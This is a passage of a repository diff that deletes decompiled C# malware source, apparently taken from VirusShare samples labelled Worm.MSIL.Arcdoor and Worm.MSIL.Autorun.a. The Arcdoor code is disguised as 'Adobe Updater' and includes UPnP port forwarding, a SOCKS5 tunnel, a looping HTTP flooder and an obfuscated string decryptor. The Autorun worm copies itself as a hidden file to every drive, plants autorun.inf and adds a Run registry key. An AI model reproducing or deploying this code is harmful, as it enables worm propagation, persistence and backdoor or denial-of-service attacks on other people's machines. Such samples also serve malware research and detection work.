public static bool \u0002(int _param0, string _param1)
{
if (\u0006\u2001.\u0003 == null)
return false;
object[] objArray = new object[3]
{
(object) string.Empty,
(object) _param0,
(object) _param1
};
object obj = new object();
try
{
((IUPnPService) \u0006\u2001.\u0003).InvokeAction(\u000F\u2001.\u0002(670212851), (object) objArray, ref obj);
return true;
}
catch
{
return false;
}
}
public static bool \u0002()
{
\u0006\u2001.\u0003 = (UPnPService) null;
\u0006\u2001.\u0003 = \u0006\u2001.\u0002(((IUPnPDeviceFinder) Activator.CreateInstance(Type.GetTypeFromCLSID(new Guid(\u000F\u2001.\u0002(670212635))))).FindByType(\u000F\u2001.\u0002(670212662), 0U));
return \u0006\u2001.\u0003 != null;
}
public static string \u0002()
{
if (\u0006\u2001.\u0003 == null)
return string.Empty;
object obj1 = new object();
object obj2 = new object();
((IUPnPService) \u0006\u2001.\u0003).InvokeAction(\u000F\u2001.\u0002(670212720), obj1, ref obj2);
return (string) ((object[]) obj2)[0];
}
public static List<\u000E> \u0002()
{
if (\u0006\u2001.\u0003 == null)
return (List<\u000E>) null;
List<\u000E> objList = new List<\u000E>();
bool flag = false;
int num = 0;
while (!flag)
{
object[] objArray1 = new object[1]{ (object) num };
object obj = new object();
try
{
((IUPnPService) \u0006\u2001.\u0003).InvokeAction(\u000F\u2001.\u0002(670215579), (object) objArray1, ref obj);
object[] objArray2 = (object[]) obj;
++num;
objList.Add(new \u000E()
{
\u0002 = (ushort) objArray2[1],
\u0003 = (ushort) objArray2[3],
\u0005 = (string) objArray2[2],
\u0008 = (string) objArray2[6]
});
}
catch
{
flag = true;
}
}
return objList;
}
public static bool \u0003(int _param0, string _param1)
{
if (\u0006\u2001.\u0003 == null)
return false;
object[] objArray = new object[3]
{
(object) string.Empty,
(object) _param0,
(object) _param1
};
object obj = new object();
try
{
((IUPnPService) \u0006\u2001.\u0003).InvokeAction(\u000F\u2001.\u0002(670215612), (object) objArray, ref obj);
return true;
}
catch
{
return false;
}
}
public static bool \u0002(int _param0, int _param1, string _param2, string _param3)
{
int num = 0;
if (\u0006\u2001.\u0003 == null || \u0006\u2001.\u0003(_param0, _param2))
return false;
object[] objArray = new object[8]
{
(object) string.Empty,
(object) _param0,
(object) _param2,
(object) _param1,
(object) \u0006\u2001.\u0002.ToString(),
(object) true,
(object) _param3,
(object) num
};
object obj = new object();
try
{
((IUPnPService) \u0006\u2001.\u0003).InvokeAction(\u000F\u2001.\u0002(670215646), (object) objArray, ref obj);
return true;
}
catch
{
return false;
}
}
}

81
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0008.cs
View File

@ -1,81 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System.Net;
using System.Threading;
internal sealed class \u0008
{
private ThreadStart[] \u0002;
private Thread[] \u0003;
public string \u0005;
public int \u0008 = 20;
public bool \u0006;
private \u0008.\u0002[] \u000E;
public int \u000F = 2;
public void \u0002()
{
this.\u0003 = new Thread[this.\u000F];
this.\u0002 = new ThreadStart[this.\u000F];
this.\u000E = new \u0008.\u0002[this.\u000F];
for (int index = 0; index < this.\u000F; ++index)
{
this.\u000E[index] = new \u0008.\u0002(this.\u0005, this.\u0008);
this.\u0002[index] = new ThreadStart(this.\u000E[index].\u0002);
this.\u0003[index] = new Thread(this.\u0002[index]);
this.\u0003[index].Start();
}
this.\u0006 = true;
}
public void \u0003()
{
for (int index = 0; index < this.\u000F; ++index)
{
try
{
this.\u0003[index].Abort();
this.\u0003[index] = (Thread) null;
this.\u0002[index] = (ThreadStart) null;
this.\u000E[index] = (\u0008.\u0002) null;
}
catch
{
}
}
this.\u0006 = false;
}
private sealed class \u0002
{
private string \u0002;
private WebClient \u0003 = new WebClient();
private int \u0005;
public \u0002(string _param1, int _param2)
{
this.\u0002 = _param1;
this.\u0005 = _param2;
}
public void \u0002()
{
while (true)
{
try
{
this.\u0003.DownloadString(this.\u0002);
Thread.Sleep(this.\u0005);
}
catch
{
Thread.Sleep(this.\u0005);
}
}
}
}
}

20
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0008 .cs
View File

@ -1,20 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
internal sealed class \u0008\u2000
{
public static string \u0002(int _param0)
{
Random random = new Random();
string str = \u000F\u2001.\u0002(670212577);
string empty = string.Empty;
for (int index = 0; index < _param0; ++index)
empty += str.Substring(random.Next(0, str.Length), 1);
return empty;
}
}

46
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0008 .cs
View File

@ -1,46 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using Microsoft.Win32;
using System;
using System.Diagnostics;
internal sealed class \u0008\u2001
{
public static void \u0002()
{
try
{
Process.Start(new ProcessStartInfo()
{
Arguments = \u000F\u2001.\u0002(670212743) + Environment.CurrentDirectory,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
FileName = \u000F\u2001.\u0002(670212784)
});
Environment.Exit(1);
}
catch
{
Environment.Exit(1);
}
}
public static void \u0003()
{
try
{
if (\u0006.\u0002())
Registry.LocalMachine.CreateSubKey(\u000F\u2001.\u0002(670213833)).DeleteSubKey(\u000E\u2001.\u0006\u2000);
else
Registry.CurrentUser.CreateSubKey(\u000F\u2001.\u0002(670213833)).DeleteSubKey(\u000E\u2001.\u0006\u2000);
\u0008\u2001.\u0002();
}
catch
{
}
}
}

13
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_000E.cs
View File

@ -1,13 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
public struct \u000E
{
public ushort \u0002;
public ushort \u0003;
public string \u0005;
public string \u0008;
}

15
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_000E .cs
View File

@ -1,15 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
public sealed class \u000E\u2000 : ApplicationException
{
public \u000E\u2000(string _param1)
: base(_param1)
{
}
}

21
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_000E .cs
View File

@ -1,21 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
internal sealed class \u000E\u2001
{
public static string \u0002 = \u000F\u2001.\u0002(670215651);
public static int \u0003 = 900000;
public static string \u0005 = \u000E\u2001.\u0002 + \u000F\u2001.\u0002(670215448);
public static string \u0008 = \u000E\u2001.\u0002 + \u000F\u2001.\u0002(670215445);
public static string \u0006 = \u000E\u2001.\u0002 + \u000F\u2001.\u0002(670215463);
public static string \u000E = \u000F\u2001.\u0002(670215496);
public static string \u000F = \u000F\u2001.\u0002(670215505);
public static string \u0002\u2000 = \u000F\u2001.\u0002(670215524);
public static string \u0003\u2000 = \u000F\u2001.\u0002(670215524);
public static string \u0005\u2000 = \u000F\u2001.\u0002(670215536);
public static string \u0008\u2000 = \u000F\u2001.\u0002(670215300);
public static string \u0006\u2000 = \u000F\u2001.\u0002(670215317);
}

33
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_000F.cs
View File

@ -1,33 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.Threading;
internal sealed class \u000F : IDisposable
{
private bool \u0002;
private readonly Mutex \u0003;
public \u000F(string _param1)
{
this.\u0003 = new Mutex(false, _param1);
this.\u0002 = false;
}
public void Dispose()
{
if (!this.\u0002)
return;
this.\u0003.ReleaseMutex();
}
public bool \u0002()
{
this.\u0002 = this.\u0003.WaitOne(0, true);
return !this.\u0002;
}
}

174
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_000F .cs
View File

@ -1,174 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
public sealed class \u000F\u2000
{
private static string[] \u0002 = new string[10]
{
\u000F\u2001.\u0002(670212107),
\u000F\u2001.\u0002(670212131),
\u000F\u2001.\u0002(670212167),
\u000F\u2001.\u0002(670212208),
\u000F\u2001.\u0002(670213019),
\u000F\u2001.\u0002(670213027),
\u000F\u2001.\u0002(670213069),
\u000F\u2001.\u0002(670213072),
\u000F\u2001.\u0002(670213117),
\u000F\u2001.\u0002(670212895)
};
private \u000F\u2000()
{
}
public static Socket \u0002(
string _param0,
int _param1,
string _param2,
ushort _param3,
string _param4,
string _param5)
{
IPAddress ipAddress = (IPAddress) null;
byte[] buffer1 = new byte[257];
byte[] buffer2 = new byte[257];
IPAddress address;
try
{
address = IPAddress.Parse(_param0);
}
catch (FormatException ex)
{
address = Dns.GetHostByAddress(_param0).AddressList[0];
}
try
{
ipAddress = IPAddress.Parse(_param2);
}
catch (FormatException ex)
{
}
IPEndPoint remoteEP = new IPEndPoint(address, _param1);
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.Connect((EndPoint) remoteEP);
ushort num1 = 0;
byte[] numArray1 = buffer1;
int index1 = (int) num1;
ushort num2 = (ushort) (index1 + 1);
numArray1[index1] = (byte) 5;
byte[] numArray2 = buffer1;
int index2 = (int) num2;
ushort num3 = (ushort) (index2 + 1);
numArray2[index2] = (byte) 2;
byte[] numArray3 = buffer1;
int index3 = (int) num3;
ushort num4 = (ushort) (index3 + 1);
numArray3[index3] = (byte) 0;
byte[] numArray4 = buffer1;
int index4 = (int) num4;
ushort size1 = (ushort) (index4 + 1);
numArray4[index4] = (byte) 2;
socket.Send(buffer1, (int) size1, SocketFlags.None);
if (socket.Receive(buffer2, 2, SocketFlags.None) != 2)
throw new \u000E\u2000(\u000F\u2001.\u0002(670212473));
if (buffer2[1] == byte.MaxValue)
{
socket.Close();
throw new \u000E\u2000(\u000F\u2001.\u0002(670212264));
}
ushort num5 = 0;
byte[] numArray5 = buffer1;
int index5 = (int) num5;
ushort num6 = (ushort) (index5 + 1);
numArray5[index5] = (byte) 5;
byte[] numArray6 = buffer1;
int index6 = (int) num6;
ushort index7 = (ushort) (index6 + 1);
int length1 = (int) (byte) _param4.Length;
numArray6[index6] = (byte) length1;
byte[] bytes1 = Encoding.Default.GetBytes(_param4);
bytes1.CopyTo((Array) buffer1, (int) index7);
ushort num7 = (ushort) ((uint) index7 + (uint) (ushort) bytes1.Length);
byte[] numArray7 = buffer1;
int index8 = (int) num7;
ushort index9 = (ushort) (index8 + 1);
int length2 = (int) (byte) _param5.Length;
numArray7[index8] = (byte) length2;
byte[] bytes2 = Encoding.Default.GetBytes(_param5);
bytes2.CopyTo((Array) buffer1, (int) index9);
ushort size2 = (ushort) ((uint) index9 + (uint) (ushort) bytes2.Length);
socket.Send(buffer1, (int) size2, SocketFlags.None);
if (socket.Receive(buffer2, 2, SocketFlags.None) != 2)
throw new \u000E\u2000(\u000F\u2001.\u0002(670212473));
if (buffer2[1] != (byte) 0)
throw new \u000E\u2000(\u000F\u2001.\u0002(670212334));
ushort num8 = 0;
byte[] numArray8 = buffer1;
int index10 = (int) num8;
ushort num9 = (ushort) (index10 + 1);
numArray8[index10] = (byte) 5;
byte[] numArray9 = buffer1;
int index11 = (int) num9;
ushort num10 = (ushort) (index11 + 1);
numArray9[index11] = (byte) 1;
byte[] numArray10 = buffer1;
int index12 = (int) num10;
ushort size3 = (ushort) (index12 + 1);
numArray10[index12] = (byte) 0;
if (ipAddress != null)
{
switch (ipAddress.AddressFamily)
{
case AddressFamily.InterNetwork:
byte[] numArray11 = buffer1;
int index13 = (int) size3;
ushort index14 = (ushort) (index13 + 1);
numArray11[index13] = (byte) 1;
byte[] addressBytes1 = ipAddress.GetAddressBytes();
addressBytes1.CopyTo((Array) buffer1, (int) index14);
size3 = (ushort) ((uint) index14 + (uint) (ushort) addressBytes1.Length);
break;
case AddressFamily.InterNetworkV6:
byte[] numArray12 = buffer1;
int index15 = (int) size3;
ushort index16 = (ushort) (index15 + 1);
numArray12[index15] = (byte) 4;
byte[] addressBytes2 = ipAddress.GetAddressBytes();
addressBytes2.CopyTo((Array) buffer1, (int) index16);
size3 = (ushort) ((uint) index16 + (uint) (ushort) addressBytes2.Length);
break;
}
}
else
{
byte[] numArray13 = buffer1;
int index17 = (int) size3;
ushort num11 = (ushort) (index17 + 1);
numArray13[index17] = (byte) 3;
byte[] numArray14 = buffer1;
int index18 = (int) num11;
ushort index19 = (ushort) (index18 + 1);
int num12 = (int) Convert.ToByte(_param2.Length);
numArray14[index18] = (byte) num12;
byte[] bytes3 = Encoding.Default.GetBytes(_param2);
bytes3.CopyTo((Array) buffer1, (int) index19);
size3 = (ushort) ((uint) index19 + (uint) (ushort) bytes3.Length);
}
byte[] bytes4 = BitConverter.GetBytes(_param3);
for (int index20 = bytes4.Length - 1; index20 >= 0; --index20)
buffer1[(int) size3++] = bytes4[index20];
socket.Send(buffer1, (int) size3, SocketFlags.None);
socket.Receive(buffer2);
if (buffer2[1] != (byte) 0)
throw new \u000E\u2000(\u000F\u2000.\u0002[(int) buffer2[1]]);
return socket;
}
}

180
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_000F .cs
View File

@ -1,180 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
internal static class \u000F\u2001
{
private static readonly Dictionary<int, string> \u0002 = new Dictionary<int, string>(103);
private static BinaryReader \u0003;
private static byte[] \u0005;
private static short \u0008;
private static int \u0006;
private static byte[] \u000E;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static string \u0002(int _param0)
{
lock (\u000F\u2001.\u0002)
{
string str1;
if (\u000F\u2001.\u0002.TryGetValue(_param0, out str1))
return str1;
if (\u000F\u2001.\u0003 == null)
{
Assembly executingAssembly = Assembly.GetExecutingAssembly();
Assembly.GetCallingAssembly();
\u000F\u2001.\u0006 = 1610370;
Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("   \u200B  \u200B    ");
int skipFrames = 1;
StackTrace stackTrace = new StackTrace(skipFrames, false);
\u000F\u2001.\u0006 ^= 6470 | skipFrames;
int index = skipFrames - 1;
StackFrame frame = stackTrace.GetFrame(index);
MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
\u000F\u2001.\u0006 ^= index + 128;
Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
if (frame == null)
\u000F\u2001.\u0006 ^= 219315;
bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
\u000F\u2001.\u0006 ^= 160;
if (!flag)
{
flag = (object) type == null;
if (flag)
\u000F\u2001.\u0006 ^= 219283;
}
if (flag == (stackTrace != null))
\u000F\u2001.\u0006 ^= 32;
\u000F\u2001.\u0006 ^= 6502 | index + 1;
\u000F\u2001.\u0003 = new BinaryReader(manifestResourceStream);
short count = (short) ((int) \u000F\u2001.\u0003.ReadInt16() ^ -28415);
if (count == (short) 0)
\u000F\u2001.\u0008 = (short) ((int) \u000F\u2001.\u0003.ReadInt16() ^ -4533);
else
\u000F\u2001.\u0005 = \u000F\u2001.\u0003.ReadBytes((int) count);
Assembly assembly = executingAssembly;
AssemblyName assemblyName;
try
{
assemblyName = assembly.GetName();
}
catch
{
assemblyName = new AssemblyName(assembly.FullName);
}
\u000F\u2001.\u000E = assemblyName.GetPublicKeyToken();
if (\u000F\u2001.\u000E != null && \u000F\u2001.\u000E.Length == 0)
\u000F\u2001.\u000E = (byte[]) null;
\u000F\u2001.\u0006 = \u000F\u2001.\u0006 & 268435314 ^ 6788;
}
int num1 = _param0 ^ 670213512;
\u000F\u2001.\u0003.BaseStream.Position = (long) num1;
byte[] numArray1;
if (\u000F\u2001.\u0005 != null)
{
numArray1 = \u000F\u2001.\u0005;
}
else
{
short count = \u000F\u2001.\u0008 != (short) -1 ? \u000F\u2001.\u0008 : (short) ((int) \u000F\u2001.\u0003.ReadInt16() ^ 304 ^ num1);
numArray1 = count != (short) 0 ? \u000F\u2001.\u0003.ReadBytes((int) count) : (byte[]) null;
}
int num2 = \u000F\u2001.\u0003.ReadInt32() ^ num1 ^ -2008366060;
bool flag1 = (num2 & int.MinValue) != 0;
bool flag2 = (num2 & 1073741824) != 0;
int count1 = num2 & 1073741823;
byte[] numArray2 = \u0002\u2002.\u0002(numArray1, \u000F\u2001.\u0003.ReadBytes(count1));
if (\u000F\u2001.\u000E != null != (\u000F\u2001.\u0006 != 1607814))
{
for (int index = 0; index < count1; ++index)
{
byte num3 = \u000F\u2001.\u000E[index & 7];
byte num4 = (byte) ((int) num3 << 3 | (int) num3 >> 5);
numArray2[index] = (byte) ((uint) numArray2[index] ^ (uint) num4);
}
}
int num5 = \u000F\u2001.\u0006 - 12;
byte[] bytes;
int length;
if (!flag2)
{
bytes = numArray2;
length = count1;
}
else
{
length = (int) numArray2[2] | (int) numArray2[0] << 16 | (int) numArray2[3] << 8 | (int) numArray2[1] << 24;
bytes = new byte[length];
\u000F\u2001.\u0002(numArray2, 4, bytes);
}
string str2;
if (flag1 && num5 == 1607802)
{
char[] chArray = new char[length];
for (int index = 0; index < length; ++index)
chArray[index] = (char) bytes[index];
str2 = new string(chArray);
}
else
str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
int num6 = num5 + ((int) sbyte.MaxValue + (num5 & 3) << 5);
if (num6 != 1611930)
str2 = (_param0 + count1 ^ 936568 ^ num6 & 1293).ToString("X");
string str3 = string.Intern(str2);
\u000F\u2001.\u0002.Add(_param0, str3);
if (\u000F\u2001.\u0002.Count == 103)
{
\u000F\u2001.\u0003.Close();
\u000F\u2001.\u0003 = (BinaryReader) null;
\u000F\u2001.\u0005 = \u000F\u2001.\u000E = (byte[]) null;
}
return str3;
}
}
private static int \u0002(byte[] _param0, int _param1, byte[] _param2)
{
int num1 = 0;
int num2 = 0;
int num3 = 128;
int length = _param2.Length;
label_9:
while (num1 < length)
{
if ((num3 <<= 1) == 256)
{
num3 = 1;
num2 = (int) _param0[_param1++];
}
if ((num2 & num3) != 0)
{
int num4 = ((int) _param0[_param1] >> 2) + 3;
int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
_param1 += 2;
int num6 = num1 - num5;
if (num6 < 0)
return -1;
while (true)
{
if (--num4 >= 0 && num1 < length)
_param2[num1++] = _param2[num6++];
else
goto label_9;
}
}
else
_param2[num1++] = _param0[_param1++];
}
return 0;
}
}

BIN
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/   ​  ​    
View File

Binary file not shown.

13
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/AssemblyInfo.cs
View File

@ -1,13 +0,0 @@
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyProduct("Darkbyte's W0rm")]
[assembly: AssemblyCopyright("Copyright © 2007")]
[assembly: AssemblyDescription("My First Worm")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyTitle("Darkbyte's W0rm")]
[assembly: Guid("5ba29542-5e7f-4a32-a21c-b125ae290baa")]
[assembly: AssemblyCompany("Darkbyte's Box")]
[assembly: ComVisible(false)]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]

286
MSIL/Worm/MSIL/A/Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422/Module1.cs
View File

@ -1,286 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Worm.Module1
// Assembly: darkbyte23, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: D4C3E168-4773-470D-B4A2-EE74370F5883
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.MSIL.Autorun.a-4fd1fc3790bf56c50a8859250285bd6f9f9317a2637b53234dccc40f58c7a422.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.IO;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
using Worm.My;
namespace Worm
{
[StandardModule]
internal sealed class Module1
{
[STAThread]
public static void Main()
{
label_0:
int num1;
int num2;
try
{
int num3 = 1;
string str1 = "";
label_1:
ProjectData.ClearProjectError();
num1 = 1;
label_2:
num3 = 3;
string contents = "[AutoRun]\r\nshellexecute=darkbyte23.exe";
label_3:
num3 = 4;
int num4 = checked (MyProject.Computer.FileSystem.Drives.Count - 1);
int index = 0;
goto label_7;
label_4:
num3 = 5;
if (Operators.CompareString(MyProject.Computer.FileSystem.Drives[index].Name, Strings.Left(MyProject.Application.Info.DirectoryPath, 3), false) != 0)
goto label_6;
label_5:
num3 = 6;
int driveType1 = (int) MyProject.Computer.FileSystem.Drives[index].DriveType;
goto label_8;
label_6:
num3 = 9;
checked { ++index; }
label_7:
if (index <= num4)
goto label_4;
label_8:
num3 = 10;
byte[] bytes = File.ReadAllBytes(Application.ExecutablePath);
label_9:
num3 = 11;
str1 = MyProject.Computer.FileSystem.SpecialDirectories.AllUsersApplicationData + "\\darkbyte23.exe";
label_10:
num3 = 12;
if (Operators.CompareString(FileSystem.Dir(str1), "", false) == 0)
goto label_12;
label_11:
num3 = 13;
File.Delete(str1);
goto label_16;
label_12:
num3 = 15;
label_13:
num3 = 16;
File.SetAttributes(str1, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Normal);
label_14:
num3 = 17;
File.WriteAllBytes(str1, bytes);
label_15:
num3 = 18;
File.SetAttributes(str1, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System);
label_16:
num3 = 21;
int num5 = checked (MyProject.Computer.FileSystem.Drives.Count - 1);
index = 0;
goto label_28;
label_17:
num3 = 22;
if (!(MyProject.Computer.FileSystem.Drives[index].DriveType == DriveType.Network | MyProject.Computer.FileSystem.Drives[index].DriveType == DriveType.Fixed | MyProject.Computer.FileSystem.Drives[index].DriveType == DriveType.Removable & Operators.CompareString(MyProject.Computer.FileSystem.Drives[index].Name, "A:\\", false) != 0))
goto label_27;
label_18:
num3 = 23;
string str2 = MyProject.Computer.FileSystem.Drives[index].RootDirectory.ToString();
label_19:
num3 = 24;
int num6 = 7;
label_20:
num3 = 25;
string path = str2 + "darkbyte23.exe";
label_21:
num3 = 26;
File.Delete(path);
label_22:
num3 = 27;
File.WriteAllBytes(path, bytes);
label_23:
num3 = 28;
File.SetAttributes(path, (FileAttributes) num6);
label_24:
num3 = 29;
File.SetAttributes(str2 + "autorun.inf", FileAttributes.Hidden | FileAttributes.System | FileAttributes.Normal);
label_25:
num3 = 30;
File.Delete(str2 + "autorun.inf");
label_26:
num3 = 31;
File.WriteAllText(str2 + "autorun.inf", contents);
label_27:
num3 = 33;
checked { ++index; }
label_28:
if (index <= num5)
goto label_17;
label_29:
num3 = 34;
int num7 = checked (MyProject.Computer.FileSystem.Drives.Count - 1);
index = 0;
goto label_33;
label_30:
num3 = 35;
if (Operators.CompareString(MyProject.Computer.FileSystem.Drives[index].Name, Strings.Left(MyProject.Application.Info.DirectoryPath, 3), false) != 0)
goto label_32;
label_31:
num3 = 36;
int driveType2 = (int) MyProject.Computer.FileSystem.Drives[index].DriveType;
goto label_34;
label_32:
num3 = 39;
checked { ++index; }
label_33:
if (index <= num7)
goto label_30;
label_34:
num3 = 40;
if (driveType1 != driveType2)
goto label_16;
label_35:
num3 = 41;
object objectValue1 = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell"));
label_36:
num3 = 42;
object Instance = objectValue1;
object[] objArray = new object[2]
{
(object) "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\darkbyte23",
(object) str1
};
object[] Arguments = objArray;
bool[] flagArray = new bool[2]{ false, true };
bool[] CopyBack = flagArray;
NewLateBinding.LateCall(Instance, (System.Type) null, "regwrite", Arguments, (string[]) null, (System.Type[]) null, CopyBack, true);
if (flagArray[1])
str1 = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
label_38:
num3 = 43;
object objectValue2 = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("Wscript.shell"));
label_39:
num3 = 44;
if (Strings.Len(MyProject.Application.Info.DirectoryPath) >= 4)
goto label_47;
label_40:
num3 = 45;
NewLateBinding.LateCall(objectValue2, (System.Type) null, "run", new object[1]
{
(object) ("explorer.exe /s, " + MyProject.Application.Info.DirectoryPath)
}, (string[]) null, (System.Type[]) null, (bool[]) null, true);
goto label_47;
label_42:
num2 = num3;
switch (num1)
{
case 1:
int num8 = num2 + 1;
num2 = 0;
switch (num8)
{
case 1:
goto label_0;
case 2:
goto label_1;
case 3:
goto label_2;
case 4:
goto label_3;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
case 10:
goto label_8;
case 8:
case 9:
goto label_6;
case 11:
goto label_9;
case 12:
goto label_10;
case 13:
goto label_11;
case 14:
case 19:
case 20:
case 21:
goto label_16;
case 15:
goto label_12;
case 16:
goto label_13;
case 17:
goto label_14;
case 18:
goto label_15;
case 22:
goto label_17;
case 23:
goto label_18;
case 24:
goto label_19;
case 25:
goto label_20;
case 26:
goto label_21;
case 27:
goto label_22;
case 28:
goto label_23;
case 29:
goto label_24;
case 30:
goto label_25;
case 31:
goto label_26;
case 32:
case 33:
goto label_27;
case 34:
goto label_29;
case 35:
goto label_30;
case 36:
goto label_31;
case 37:
case 40:
goto label_34;
case 38:
case 39:
goto label_32;
case 41:
goto label_35;
case 42:
goto label_36;
case 43:
goto label_38;
case 44:
goto label_39;
case 45:
goto label_40;
case 46:
case 47:
goto label_47;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
